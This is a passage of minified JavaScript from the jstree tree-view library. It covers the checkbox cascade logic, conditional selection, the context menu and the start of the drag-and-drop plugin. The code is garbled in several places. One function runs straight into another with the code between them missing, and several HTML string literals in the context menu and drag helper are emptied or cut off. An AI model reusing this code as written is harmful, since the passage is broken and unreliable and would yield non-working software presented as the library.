jstree-checkbox",h.setAttribute("role","presentation"),e.jstree.defaults.checkbox={visible:!0,three_state:!0,whole_node:!0,keep_selected_style:!0,cascade:"",tie_selection:!0,cascade_to_disabled:!0,cascade_to_hidden:!0},e.jstree.plugins.checkbox=function(r,i){this.bind=function(){i.bind.call(this),this._data.checkbox.uto=!1,this._data.checkbox.selected=[],this.settings.checkbox.three_state&&(this.settings.checkbox.cascade="up+down+undetermined"),this.element.on("init.jstree",e.proxy(function(){this._data.checkbox.visible=this.settings.checkbox.visible,this.settings.checkbox.keep_selected_style||this.element.addClass("jstree-checkbox-no-clicked"),this.settings.checkbox.tie_selection&&this.element.addClass("jstree-checkbox-selection")},this)).on("loading.jstree",e.proxy(function(){this[this._data.checkbox.visible?"show_checkboxes":"hide_checkboxes"]()},this)),-1!==this.settings.checkbox.cascade.indexOf("undetermined")&&this.element.on("changed.jstree uncheck_node.jstree check_node.jstree uncheck_all.jstree check_all.jstree move_node.jstree copy_node.jstree redraw.jstree open_node.jstree",e.proxy(function(){this._data.checkbox.uto&&clearTimeout(this._data.checkbox.uto),this._data.checkbox.uto=setTimeout(e.proxy(this._undetermined,this),50)},this)),this.settings.checkbox.tie_selection||this.element.on("model.jstree",e.proxy(function(e,t){var r,i,s=this._model.data,a=(s[t.parent],t.nodes) -for(r=0,i=a.length;i>r;r++)s[a[r]].state.checked=s[a[r]].state.checked||s[a[r]].original&&s[a[r]].original.state&&s[a[r]].original.state.checked,s[a[r]].state.checked&&this._data.checkbox.selected.push(a[r])},this)),(-1!==this.settings.checkbox.cascade.indexOf("up")||-1!==this.settings.checkbox.cascade.indexOf("down"))&&this.element.on("model.jstree",e.proxy(function(t,r){var i,s,a,n,o,d,c=this._model.data,l=c[r.parent],h=r.nodes,_=[],u=this.settings.checkbox.cascade,g=this.settings.checkbox.tie_selection -if(-1!==u.indexOf("down"))if(l.state[g?"selected":"checked"]){for(s=0,a=h.length;a>s;s++)c[h[s]].state[g?"selected":"checked"]=!0 -this._data[g?"core":"checkbox"].selected=this._data[g?"core":"checkbox"].selected.concat(h)}else for(s=0,a=h.length;a>s;s++)if(c[h[s]].state[g?"selected":"checked"]){for(n=0,o=c[h[s]].children_d.length;o>n;n++)c[c[h[s]].children_d[n]].state[g?"selected":"checked"]=!0 -this._data[g?"core":"checkbox"].selected=this._data[g?"core":"checkbox"].selected.concat(c[h[s]].children_d)}if(-1!==u.indexOf("up")){for(s=0,a=l.children_d.length;a>s;s++)c[l.children_d[s]].children.length||_.push(c[l.children_d[s]].parent) -for(_=e.vakata.array_unique(_),n=0,o=_.length;o>n;n++)for(l=c[_[n]];l&&l.id!==e.jstree.root;){for(i=0,s=0,a=l.children.length;a>s;s++)i+=c[l.children[s]].state[g?"selected":"checked"] -if(i!==a)break -l.state[g?"selected":"checked"]=!0,this._data[g?"core":"checkbox"].selected.push(l.id),d=this.get_node(l,!0),d&&d.length&&d.attr("aria-selected",!0).children(".jstree-anchor").addClass(g?"jstree-clicked":"jstree-checked"),l=this.get_node(l.parent)}}this._data[g?"core":"checkbox"].selected=e.vakata.array_unique(this._data[g?"core":"checkbox"].selected)},this)).on(this.settings.checkbox.tie_selection?"select_node.jstree":"check_node.jstree",e.proxy(function(t,r){var i,s,a,n,o=r.node,d=this._model.data,c=this.get_node(o.parent),l=this.settings.checkbox.cascade,h=this.settings.checkbox.tie_selection,_={},u=this._data[h?"core":"checkbox"].selected -for(i=0,s=u.length;s>i;i++)_[u[i]]=!0 -if(-1!==l.indexOf("down")){var g=this._cascade_new_checked_state(o.id,!0),f=o.children_d.concat(o.id) -for(i=0,s=f.length;s>i;i++)g.indexOf(f[i])>-1?_[f[i]]=!0:delete _[f[i]]}if(-1!==l.indexOf("up"))for(;c&&c.id!==e.jstree.root;){for(a=0,i=0,s=c.children.length;s>i;i++)a+=d[c.children[i]].state[h?"selected":"checked"] -if(a!==s)break -c.state[h?"selected":"checked"]=!0,_[c.id]=!0,n=this.get_node(c,!0),n&&n.length&&n.attr("aria-selected",!0).children(".jstree-anchor").addClass(h?"jstree-clicked":"jstree-checked"),c=this.get_node(c.parent)}u=[] -for(i in _)_.hasOwnProperty(i)&&u.push(i) -this._data[h?"core":"checkbox"].selected=u},this)).on(this.settings.checkbox.tie_selection?"deselect_all.jstree":"uncheck_all.jstree",e.proxy(function(t,r){var i,s,a,n=this.get_node(e.jstree.root),o=this._model.data -for(i=0,s=n.children_d.length;s>i;i++)a=o[n.children_d[i]],a&&a.original&&a.original.state&&a.original.state.undetermined&&(a.original.state.undetermined=!1)},this)).on(this.settings.checkbox.tie_selection?"deselect_node.jstree":"uncheck_node.jstree",e.proxy(function(t,r){var i,s,a,n=r.node,o=(this.get_node(n,!0),this.settings.checkbox.cascade),d=this.settings.checkbox.tie_selection,c=this._data[d?"core":"checkbox"].selected,l=n.children_d.concat(n.id) -if(-1!==o.indexOf("down")){var h=this._cascade_new_checked_state(n.id,!1) -c=e.vakata.array_filter(c,function(e){return-1===l.indexOf(e)||h.indexOf(e)>-1})}if(-1!==o.indexOf("up")&&-1===c.indexOf(n.id)){for(i=0,s=n.parents.length;s>i;i++)a=this._model.data[n.parents[i]],a.state[d?"selected":"checked"]=!1,a&&a.original&&a.original.state&&a.original.state.undetermined&&(a.original.state.undetermined=!1),a=this.get_node(n.parents[i],!0),a&&a.length&&a.attr("aria-selected",!1).children(".jstree-anchor").removeClass(d?"jstree-clicked":"jstree-checked") -c=e.vakata.array_filter(c,function(e){return-1===n.parents.indexOf(e)})}this._data[d?"core":"checkbox"].selected=c},this)),-1!==this.settings.checkbox.cascade.indexOf("up")&&this.element.on("delete_node.jstree",e.proxy(function(t,r){for(var i,s,a,n,o=this.get_node(r.parent),d=this._model.data,c=this.settings.checkbox.tie_selection;o&&o.id!==e.jstree.root&&!o.state[c?"selected":"checked"];){for(a=0,i=0,s=o.children.length;s>i;i++)a+=d[o.children[i]].state[c?"selected":"checked"] -if(!(s>0&&a===s))break -o.state[c?"selected":"checked"]=!0,this._data[c?"core":"checkbox"].selected.push(o.id),n=this.get_node(o,!0),n&&n.length&&n.attr("aria-selected",!0).children(".jstree-anchor").addClass(c?"jstree-clicked":"jstree-checked"),o=this.get_node(o.parent)}},this)).on("move_node.jstree",e.proxy(function(t,r){var i,s,a,n,o,d=r.is_multi,c=r.old_parent,l=this.get_node(r.parent),h=this._model.data,_=this.settings.checkbox.tie_selection -if(!d)for(i=this.get_node(c);i&&i.id!==e.jstree.root&&!i.state[_?"selected":"checked"];){for(s=0,a=0,n=i.children.length;n>a;a++)s+=h[i.children[a]].state[_?"selected":"checked"] -if(!(n>0&&s===n))break -i.state[_?"selected":"checked"]=!0,this._data[_?"core":"checkbox"].selected.push(i.id),o=this.get_node(i,!0),o&&o.length&&o.attr("aria-selected",!0).children(".jstree-anchor").addClass(_?"jstree-clicked":"jstree-checked"),i=this.get_node(i.parent)}for(i=l;i&&i.id!==e.jstree.root;){for(s=0,a=0,n=i.children.length;n>a;a++)s+=h[i.children[a]].state[_?"selected":"checked"] -if(s===n)i.state[_?"selected":"checked"]||(i.state[_?"selected":"checked"]=!0,this._data[_?"core":"checkbox"].selected.push(i.id),o=this.get_node(i,!0),o&&o.length&&o.attr("aria-selected",!0).children(".jstree-anchor").addClass(_?"jstree-clicked":"jstree-checked")) -else{if(!i.state[_?"selected":"checked"])break -i.state[_?"selected":"checked"]=!1,this._data[_?"core":"checkbox"].selected=e.vakata.array_remove_item(this._data[_?"core":"checkbox"].selected,i.id),o=this.get_node(i,!0),o&&o.length&&o.attr("aria-selected",!1).children(".jstree-anchor").removeClass(_?"jstree-clicked":"jstree-checked")}i=this.get_node(i.parent)}},this))},this.get_undetermined=function(r){if(-1===this.settings.checkbox.cascade.indexOf("undetermined"))return[] -var i,s,a,n,o={},d=this._model.data,c=this.settings.checkbox.tie_selection,l=this._data[c?"core":"checkbox"].selected,h=[],_=this,u=[] -for(i=0,s=l.length;s>i;i++)if(d[l[i]]&&d[l[i]].parents)for(a=0,n=d[l[i]].parents.length;n>a&&o[d[l[i]].parents[a]]===t;a++)d[l[i]].parents[a]!==e.jstree.root&&(o[d[l[i]].parents[a]]=!0,h.push(d[l[i]].parents[a])) -for(this.element.find(".jstree-closed").not(":has(.jstree-children)").each(function(){var r,c=_.get_node(this) -if(c)if(c.state.loaded){for(i=0,s=c.children_d.length;s>i;i++)if(r=d[c.children_d[i]],!r.state.loaded&&r.original&&r.original.state&&r.original.state.undetermined&&r.original.state.undetermined===!0)for(o[r.id]===t&&r.id!==e.jstree.root&&(o[r.id]=!0,h.push(r.id)),a=0,n=r.parents.length;n>a;a++)o[r.parents[a]]===t&&r.parents[a]!==e.jstree.root&&(o[r.parents[a]]=!0,h.push(r.parents[a]))}else if(c.original&&c.original.state&&c.original.state.undetermined&&c.original.state.undetermined===!0)for(o[c.id]===t&&c.id!==e.jstree.root&&(o[c.id]=!0,h.push(c.id)),a=0,n=c.parents.length;n>a;a++)o[c.parents[a]]===t&&c.parents[a]!==e.jstree.root&&(o[c.parents[a]]=!0,h.push(c.parents[a]))}),i=0,s=h.length;s>i;i++)d[h[i]].state[c?"selected":"checked"]||u.push(r?d[h[i]]:h[i]) -return u},this._undetermined=function(){if(null!==this.element){var e,t,r,i=this.get_undetermined(!1) -for(this.element.find(".jstree-undetermined").removeClass("jstree-undetermined"),e=0,t=i.length;t>e;e++)r=this.get_node(i[e],!0),r&&r.length&&r.children(".jstree-anchor").children(".jstree-checkbox").addClass("jstree-undetermined")}},this.redraw_node=function(t,r,s,a){if(t=i.redraw_node.apply(this,arguments)){var n,o,d=null,c=null -for(n=0,o=t.childNodes.length;o>n;n++)if(t.childNodes[n]&&t.childNodes[n].className&&-1!==t.childNodes[n].className.indexOf("jstree-anchor")){d=t.childNodes[n] -break}d&&(!this.settings.checkbox.tie_selection&&this._model.data[t.id].state.checked&&(d.className+=" jstree-checked"),c=h.cloneNode(!1),this._model.data[t.id].state.checkbox_disabled&&(c.className+=" jstree-checkbox-disabled"),d.insertBefore(c,d.childNodes[0]))}return s||-1===this.settings.checkbox.cascade.indexOf("undetermined")||(this._data.checkbox.uto&&clearTimeout(this._data.checkbox.uto),this._data.checkbox.uto=setTimeout(e.proxy(this._undetermined,this),50)),t},this.show_checkboxes=function(){this._data.core.themes.checkboxes=!0,this.get_container_ul().removeClass("jstree-no-checkboxes")},this.hide_checkboxes=function(){this._data.core.themes.checkboxes=!1,this.get_container_ul().addClass("jstree-no-checkboxes")},this.toggle_checkboxes=function(){this._data.core.themes.checkboxes?this.hide_checkboxes():this.show_checkboxes()},this.is_undetermined=function(t){t=this.get_node(t) -var r,i,s=this.settings.checkbox.cascade,a=this.settings.checkbox.tie_selection,n=this._data[a?"core":"checkbox"].selected,o=this._model.data -if(!t||t.state[a?"selected":"checked"]===!0||-1===s.indexOf("undetermined")||-1===s.indexOf("down")&&-1===s.indexOf("up"))return!1 -if(!t.state.loaded&&t.original.state.undetermined===!0)return!0 -for(r=0,i=t.children_d.length;i>r;r++)if(-1!==e.inArray(t.children_d[r],n)||!o[t.children_d[r]].state.loaded&&o[t.children_d[r]].original.state.undetermined)return!0 -return!1},this.disable_checkbox=function(t){var r,i,s -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.disable_checkbox(t[r]) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(s=this.get_node(t,!0),void(t.state.checkbox_disabled||(t.state.checkbox_disabled=!0,s&&s.length&&s.children(".jstree-anchor").children(".jstree-checkbox").addClass("jstree-checkbox-disabled"),this.trigger("disable_checkbox",{node:t})))):!1},this.enable_checkbox=function(t){var r,i,s -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.enable_checkbox(t[r]) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(s=this.get_node(t,!0),void(t.state.checkbox_disabled&&(t.state.checkbox_disabled=!1,s&&s.length&&s.children(".jstree-anchor").children(".jstree-checkbox").removeClass("jstree-checkbox-disabled"),this.trigger("enable_checkbox",{node:t})))):!1},this.activate_node=function(t,r){return e(r.target).hasClass("jstree-checkbox-disabled")?!1:(this.settings.checkbox.tie_selection&&(this.settings.checkbox.whole_node||e(r.target).hasClass("jstree-checkbox"))&&(r.ctrlKey=!0),this.settings.checkbox.tie_selection||!this.settings.checkbox.whole_node&&!e(r.target).hasClass("jstree-checkbox")?i.activate_node.call(this,t,r):this.is_disabled(t)?!1:(this.is_checked(t)?this.uncheck_node(t,r):this.check_node(t,r),void this.trigger("activate_node",{node:this.get_node(t)})))},this._cascade_new_checked_state=function(e,t){var r,i,s,a=this,n=this.settings.checkbox.tie_selection,o=this._model.data[e],d=[],c=[] -if(!this.settings.checkbox.cascade_to_disabled&&o.state.disabled||!this.settings.checkbox.cascade_to_hidden&&o.state.hidden)s=this.get_checked_descendants(e),o.state[n?"selected":"checked"]&&s.push(o.id),d=d.concat(s) -else{if(o.children)for(r=0,i=o.children.length;i>r;r++){var l=o.children[r] -s=a._cascade_new_checked_state(l,t),d=d.concat(s),s.indexOf(l)>-1&&c.push(l)}var h=a.get_node(o,!0),_=c.length>0&&c.lengths;s++)this.check_node(t[s],r) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(i=this.get_node(t,!0),void(t.state.checked||(t.state.checked=!0,this._data.checkbox.selected.push(t.id),i&&i.length&&i.children(".jstree-anchor").addClass("jstree-checked"),this.trigger("check_node",{node:t,selected:this._data.checkbox.selected,event:r})))):!1},this.uncheck_node=function(t,r){if(this.settings.checkbox.tie_selection)return this.deselect_node(t,!1,r) -var i,s,a -if(e.isArray(t)){for(t=t.slice(),i=0,s=t.length;s>i;i++)this.uncheck_node(t[i],r) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(a=this.get_node(t,!0),void(t.state.checked&&(t.state.checked=!1,this._data.checkbox.selected=e.vakata.array_remove_item(this._data.checkbox.selected,t.id),a.length&&a.children(".jstree-anchor").removeClass("jstree-checked"),this.trigger("uncheck_node",{node:t,selected:this._data.checkbox.selected,event:r})))):!1},this.check_all=function(){if(this.settings.checkbox.tie_selection)return this.select_all() -var t,r -this._data.checkbox.selected.concat([]) -for(this._data.checkbox.selected=this._model.data[e.jstree.root].children_d.concat(),t=0,r=this._data.checkbox.selected.length;r>t;t++)this._model.data[this._data.checkbox.selected[t]]&&(this._model.data[this._data.checkbox.selected[t]].state.checked=!0) -this.redraw(!0),this.trigger("check_all",{selected:this._data.checkbox.selected})},this.uncheck_all=function(){if(this.settings.checkbox.tie_selection)return this.deselect_all() -var e,t,r=this._data.checkbox.selected.concat([]) -for(e=0,t=this._data.checkbox.selected.length;t>e;e++)this._model.data[this._data.checkbox.selected[e]]&&(this._model.data[this._data.checkbox.selected[e]].state.checked=!1) -this._data.checkbox.selected=[],this.element.find(".jstree-checked").removeClass("jstree-checked"),this.trigger("uncheck_all",{selected:this._data.checkbox.selected,node:r})},this.is_checked=function(t){return this.settings.checkbox.tie_selection?this.is_selected(t):(t=this.get_node(t),t&&t.id!==e.jstree.root?t.state.checked:!1)},this.get_checked=function(t){if(this.settings.checkbox.tie_selection)return this.get_selected(t) -var r=e.map(this._data.checkbox.selected,e.proxy(function(e){return this.get_node(e)},this)),i=this._data.checkbox.selected.slice() -return t?r:i},this.get_top_checked=function(t){if(this.settings.checkbox.tie_selection)return this.get_top_selected(t) -var r,i,s,a,n=this.get_checked(!0),o={} -for(r=0,i=n.length;i>r;r++)o[n[r].id]=n[r] -for(r=0,i=n.length;i>r;r++)for(s=0,a=n[r].children_d.length;a>s;s++)o[n[r].children_d[s]]&&delete o[n[r].children_d[s]] -n=[] -for(r in o)o.hasOwnProperty(r)&&n.push(r) -return t?e.map(n,e.proxy(function(e){return this.get_node(e)},this)):n},this.get_bottom_checked=function(t){if(this.settings.checkbox.tie_selection)return this.get_bottom_selected(t) -var r,i,s=this.get_checked(!0),a=[] -for(r=0,i=s.length;i>r;r++)s[r].children.length||a.push(s[r].id) -return t?e.map(a,e.proxy(function(e){return this.get_node(e)},this)):a},this.load_node=function(t,r){var s,a,n,o -if(!e.isArray(t)&&!this.settings.checkbox.tie_selection&&(o=this.get_node(t),o&&o.state.loaded))for(s=0,a=o.children_d.length;a>s;s++)this._model.data[o.children_d[s]].state.checked&&(n=!0,this._data.checkbox.selected=e.vakata.array_remove_item(this._data.checkbox.selected,o.children_d[s])) -return i.load_node.apply(this,arguments)},this.get_state=function(){var e=i.get_state.apply(this,arguments) -return this.settings.checkbox.tie_selection?e:(e.checkbox=this._data.checkbox.selected.slice(),e)},this.set_state=function(t,r){var s=i.set_state.apply(this,arguments) -if(s&&t.checkbox){if(!this.settings.checkbox.tie_selection){this.uncheck_all() -var a=this -e.each(t.checkbox,function(e,t){a.check_node(t)})}return delete t.checkbox,this.set_state(t,r),!1}return s},this.refresh=function(e,t){return this.settings.checkbox.tie_selection&&(this._data.checkbox.selected=[]),i.refresh.apply(this,arguments)}},e.jstree.defaults.conditionalselect=function(){return!0},e.jstree.plugins.conditionalselect=function(e,t){this.activate_node=function(e,r){return this.settings.conditionalselect.call(this,this.get_node(e),r)?t.activate_node.call(this,e,r):void 0}},e.jstree.defaults.contextmenu={select_node:!0,show_at_node:!0,items:function(t,r){return{create:{separator_before:!1,separator_after:!0,_disabled:!1,label:"Create",action:function(t){var r=e.jstree.reference(t.reference),i=r.get_node(t.reference) -r.create_node(i,{},"last",function(e){try{r.edit(e)}catch(t){setTimeout(function(){r.edit(e)},0)}})}},rename:{separator_before:!1,separator_after:!1,_disabled:!1,label:"Rename",action:function(t){var r=e.jstree.reference(t.reference),i=r.get_node(t.reference) -r.edit(i)}},remove:{separator_before:!1,icon:!1,separator_after:!1,_disabled:!1,label:"Delete",action:function(t){var r=e.jstree.reference(t.reference),i=r.get_node(t.reference) -r.is_selected(i)?r.delete_node(r.get_selected()):r.delete_node(i)}},ccp:{separator_before:!0,icon:!1,separator_after:!1,label:"Edit",action:!1,submenu:{cut:{separator_before:!1,separator_after:!1,label:"Cut",action:function(t){var r=e.jstree.reference(t.reference),i=r.get_node(t.reference) -r.is_selected(i)?r.cut(r.get_top_selected()):r.cut(i)}},copy:{separator_before:!1,icon:!1,separator_after:!1,label:"Copy",action:function(t){var r=e.jstree.reference(t.reference),i=r.get_node(t.reference) -r.is_selected(i)?r.copy(r.get_top_selected()):r.copy(i)}},paste:{separator_before:!1,icon:!1,_disabled:function(t){return!e.jstree.reference(t.reference).can_paste()},separator_after:!1,label:"Paste",action:function(t){var r=e.jstree.reference(t.reference),i=r.get_node(t.reference) -r.paste(i)}}}}}}},e.jstree.plugins.contextmenu=function(r,i){this.bind=function(){i.bind.call(this) -var t,r,s=0,a=null -this.element.on("init.jstree loading.jstree ready.jstree",e.proxy(function(){this.get_container_ul().addClass("jstree-contextmenu")},this)).on("contextmenu.jstree",".jstree-anchor",e.proxy(function(e,t){"input"!==e.target.tagName.toLowerCase()&&(e.preventDefault(),s=e.ctrlKey?+new Date:0,(t||a)&&(s=+new Date+1e4),a&&clearTimeout(a),this.is_loading(e.currentTarget)||this.show_contextmenu(e.currentTarget,e.pageX,e.pageY,e))},this)).on("click.jstree",".jstree-anchor",e.proxy(function(t){this._data.contextmenu.visible&&(!s||+new Date-s>250)&&e.vakata.context.hide(),s=0},this)).on("touchstart.jstree",".jstree-anchor",function(i){i.originalEvent&&i.originalEvent.changedTouches&&i.originalEvent.changedTouches[0]&&(t=i.originalEvent.changedTouches[0].clientX,r=i.originalEvent.changedTouches[0].clientY,a=setTimeout(function(){e(i.currentTarget).trigger("contextmenu",!0)},750))}).on("touchmove.vakata.jstree",function(i){a&&i.originalEvent&&i.originalEvent.changedTouches&&i.originalEvent.changedTouches[0]&&(Math.abs(t-i.originalEvent.changedTouches[0].clientX)>10||Math.abs(r-i.originalEvent.changedTouches[0].clientY)>10)&&(clearTimeout(a),e.vakata.context.hide())}).on("touchend.vakata.jstree",function(e){a&&clearTimeout(a)}),e(d).on("context_hide.vakata.jstree",e.proxy(function(t,r){this._data.contextmenu.visible=!1,e(r.reference).removeClass("jstree-context")},this))},this.teardown=function(){this._data.contextmenu.visible&&e.vakata.context.hide(),i.teardown.call(this)},this.show_contextmenu=function(r,i,s,a){if(r=this.get_node(r),!r||r.id===e.jstree.root)return!1 -var n=this.settings.contextmenu,o=this.get_node(r,!0),d=o.children(".jstree-anchor"),c=!1,l=!1;(n.show_at_node||i===t||s===t)&&(c=d.offset(),i=c.left,s=c.top+this._data.core.li_height),this.settings.contextmenu.select_node&&!this.is_selected(r)&&this.activate_node(r,a),l=n.items,e.isFunction(l)&&(l=l.call(this,r,e.proxy(function(e){this._show_contextmenu(r,i,s,e)},this))),e.isPlainObject(l)&&this._show_contextmenu(r,i,s,l)},this._show_contextmenu=function(t,r,i,s){var a=this.get_node(t,!0),n=a.children(".jstree-anchor") -e(d).one("context_show.vakata.jstree",e.proxy(function(t,r){var i="jstree-contextmenu jstree-"+this.get_theme()+"-contextmenu" -e(r.element).addClass(i),n.addClass("jstree-context")},this)),this._data.contextmenu.visible=!0,e.vakata.context.show(n,{x:r,y:i},s),this.trigger("show_contextmenu",{node:t,x:r,y:i})}},function(e){var t=!1,r={element:!1,reference:!1,position_x:0,position_y:0,items:[],html:"",is_visible:!1} -e.vakata.context={settings:{hide_onmouseleave:0,icons:!0},_trigger:function(t){e(d).triggerHandler("context_"+t+".vakata",{reference:r.reference,element:r.element,position:{x:r.position_x,y:r.position_y}})},_execute:function(t){return t=r.items[t],t&&(!t._disabled||e.isFunction(t._disabled)&&!t._disabled({item:t,reference:r.reference,element:r.element}))&&t.action?t.action.call(null,{item:t,reference:r.reference,element:r.element,position:{x:r.position_x,y:r.position_y}}):!1},_parse:function(t,i){if(!t)return!1 -i||(r.html="",r.items=[]) -var s,a="",n=!1 -return i&&(a+=""),i||(r.html=a,e.vakata.context._trigger("parse")),a.length>10?a:!1},_show_submenu:function(r){if(r=e(r),r.length&&r.children("ul").length){var i=r.children("ul"),s=r.offset().left,a=s+r.outerWidth(),n=r.offset().top,o=i.width(),d=i.height(),c=e(window).width()+e(window).scrollLeft(),l=e(window).height()+e(window).scrollTop() -t?r[a-(o+10+r.outerWidth())<0?"addClass":"removeClass"]("vakata-context-left"):r[a+o>c&&s>c-a?"addClass":"removeClass"]("vakata-context-right"),n+d+10>l&&i.css("bottom","-1px"),r.hasClass("vakata-context-right")?o>s&&i.css("margin-right",s-o):o>c-a&&i.css("margin-left",c-a-o),i.show()}},show:function(i,s,a){var n,o,c,l,h,_,u,g,f=!0 -switch(r.element&&r.element.length&&r.element.width(""),f){case!s&&!i:return!1 -case!!s&&!!i:r.reference=i,r.position_x=s.x,r.position_y=s.y -break -case!s&&!!i:r.reference=i,n=i.offset(),r.position_x=n.left+i.outerHeight(),r.position_y=n.top -break -case!!s&&!i:r.position_x=s.x,r.position_y=s.y}i&&!a&&e(i).data("vakata_contextmenu")&&(a=e(i).data("vakata_contextmenu")),e.vakata.context._parse(a)&&r.element.html(r.html),r.items.length&&(r.element.appendTo(d.body),o=r.element,c=r.position_x,l=r.position_y,h=o.width(),_=o.height(),u=e(window).width()+e(window).scrollLeft(),g=e(window).height()+e(window).scrollTop(),t&&(c-=o.outerWidth()-e(i).outerWidth(),cu&&(c=u-(h+20)),l+_+20>g&&(l=g-(_+20)),r.element.css({left:c,top:l}).show().find("a").first().focus().parent().addClass("vakata-context-hover"),r.is_visible=!0,e.vakata.context._trigger("show"))},hide:function(){r.is_visible&&(r.element.hide().find("ul").hide().end().find(":focus").blur().end().detach(),r.is_visible=!1,e.vakata.context._trigger("hide"))}},e(function(){t="rtl"===e(d.body).css("direction") -var i=!1 -r.element=e("
      "),r.element.on("mouseenter","li",function(t){t.stopImmediatePropagation(),e.contains(this,t.relatedTarget)||(i&&clearTimeout(i),r.element.find(".vakata-context-hover").removeClass("vakata-context-hover").end(),e(this).siblings().find("ul").hide().end().end().parentsUntil(".vakata-context","li").addBack().addClass("vakata-context-hover"),e.vakata.context._show_submenu(this))}).on("mouseleave","li",function(t){e.contains(this,t.relatedTarget)||e(this).find(".vakata-context-hover").addBack().removeClass("vakata-context-hover")}).on("mouseleave",function(t){e(this).find(".vakata-context-hover").removeClass("vakata-context-hover"),e.vakata.context.settings.hide_onmouseleave&&(i=setTimeout(function(t){return function(){e.vakata.context.hide()}}(this),e.vakata.context.settings.hide_onmouseleave))}).on("click","a",function(t){t.preventDefault(),e(this).blur().parent().hasClass("vakata-context-disabled")||e.vakata.context._execute(e(this).attr("rel"))===!1||e.vakata.context.hide()}).on("keydown","a",function(t){var i=null -switch(t.which){case 13:case 32:t.type="click",t.preventDefault(),e(t.currentTarget).trigger(t) -break -case 37:r.is_visible&&(r.element.find(".vakata-context-hover").last().closest("li").first().find("ul").hide().find(".vakata-context-hover").removeClass("vakata-context-hover").end().end().children("a").focus(),t.stopImmediatePropagation(),t.preventDefault()) -break -case 38:r.is_visible&&(i=r.element.find("ul:visible").addBack().last().children(".vakata-context-hover").removeClass("vakata-context-hover").prevAll("li:not(.vakata-context-separator)").first(),i.length||(i=r.element.find("ul:visible").addBack().last().children("li:not(.vakata-context-separator)").last()),i.addClass("vakata-context-hover").children("a").focus(),t.stopImmediatePropagation(),t.preventDefault()) -break -case 39:r.is_visible&&(r.element.find(".vakata-context-hover").last().children("ul").show().children("li:not(.vakata-context-separator)").removeClass("vakata-context-hover").first().addClass("vakata-context-hover").children("a").focus(),t.stopImmediatePropagation(),t.preventDefault()) -break -case 40:r.is_visible&&(i=r.element.find("ul:visible").addBack().last().children(".vakata-context-hover").removeClass("vakata-context-hover").nextAll("li:not(.vakata-context-separator)").first(),i.length||(i=r.element.find("ul:visible").addBack().last().children("li:not(.vakata-context-separator)").first()),i.addClass("vakata-context-hover").children("a").focus(),t.stopImmediatePropagation(),t.preventDefault()) -break -case 27:e.vakata.context.hide(),t.preventDefault()}}).on("keydown",function(e){e.preventDefault() -var t=r.element.find(".vakata-contextmenu-shortcut-"+e.which).parent() -t.parent().not(".vakata-context-disabled")&&t.click()}),e(d).on("mousedown.vakata.jstree",function(t){r.is_visible&&r.element[0]!==t.target&&!e.contains(r.element[0],t.target)&&e.vakata.context.hide()}).on("context_show.vakata.jstree",function(e,i){r.element.find("li:has(ul)").children("a").addClass("vakata-context-parent"),t&&r.element.addClass("vakata-context-rtl").css("direction","rtl"),r.element.find("ul").hide().end()})})}(e),e.jstree.defaults.dnd={copy:!0,open_timeout:500,is_draggable:!0,check_while_dragging:!0,always_copy:!1,inside_pos:0,drag_selection:!0,touch:!0,large_drop_target:!1,large_drag_target:!1,use_html5:!1} -var _,u -e.jstree.plugins.dnd=function(t,r){this.init=function(e,t){r.init.call(this,e,t),this.settings.dnd.use_html5=this.settings.dnd.use_html5&&"draggable"in d.createElement("span")},this.bind=function(){r.bind.call(this),this.element.on(this.settings.dnd.use_html5?"dragstart.jstree":"mousedown.jstree touchstart.jstree",this.settings.dnd.large_drag_target?".jstree-node":".jstree-anchor",e.proxy(function(t){if(this.settings.dnd.large_drag_target&&e(t.target).closest(".jstree-node")[0]!==t.currentTarget)return!0 -if("touchstart"===t.type&&(!this.settings.dnd.touch||"selected"===this.settings.dnd.touch&&!e(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").hasClass("jstree-clicked")))return!0 -var r=this.get_node(t.target),i=this.is_selected(r)&&this.settings.dnd.drag_selection?this.get_top_selected().length:1,s=i>1?i+" "+this.get_string("nodes"):this.get_text(t.currentTarget) -if(this.settings.core.force_text&&(s=e.vakata.html.escape(s)),r&&r.id&&r.id!==e.jstree.root&&(1===t.which||"touchstart"===t.type||"dragstart"===t.type)&&(this.settings.dnd.is_draggable===!0||e.isFunction(this.settings.dnd.is_draggable)&&this.settings.dnd.is_draggable.call(this,i>1?this.get_top_selected(!0):[r],t))){if(_={jstree:!0,origin:this,obj:this.get_node(r,!0),nodes:i>1?this.get_top_selected():[r.id]},u=t.currentTarget,!this.settings.dnd.use_html5)return this.element.trigger("mousedown.jstree"),e.vakata.dnd.start(t,_,'
      '+s+'
      ') -e.vakata.dnd._trigger("start",t,{helper:e(),element:u,data:_})}},this)),this.settings.dnd.use_html5&&this.element.on("dragover.jstree",function(t){return t.preventDefault(),e.vakata.dnd._trigger("move",t,{helper:e(),element:u,data:_}),!1}).on("drop.jstree",e.proxy(function(t){return t.preventDefault(),e.vakata.dnd._trigger("stop",t,{helper:e(),element:u,data:_}),!1},this))},this.redraw_node=function(e,t,i,s){if(e=r.redraw_node.apply(this,arguments),e&&this.settings.dnd.use_html5)if(this.settings.dnd.large_drag_target)e.setAttribute("draggable",!0) -else{var a,n,o=null -for(a=0,n=e.childNodes.length;n>a;a++)if(e.childNodes[a]&&e.childNodes[a].className&&-1!==e.childNodes[a].className.indexOf("jstree-anchor")){o=e.childNodes[a] -break}o&&o.setAttribute("draggable",!0)}return e}},e(function(){var r=!1,i=!1,s=!1,a=!1,n=e('
       
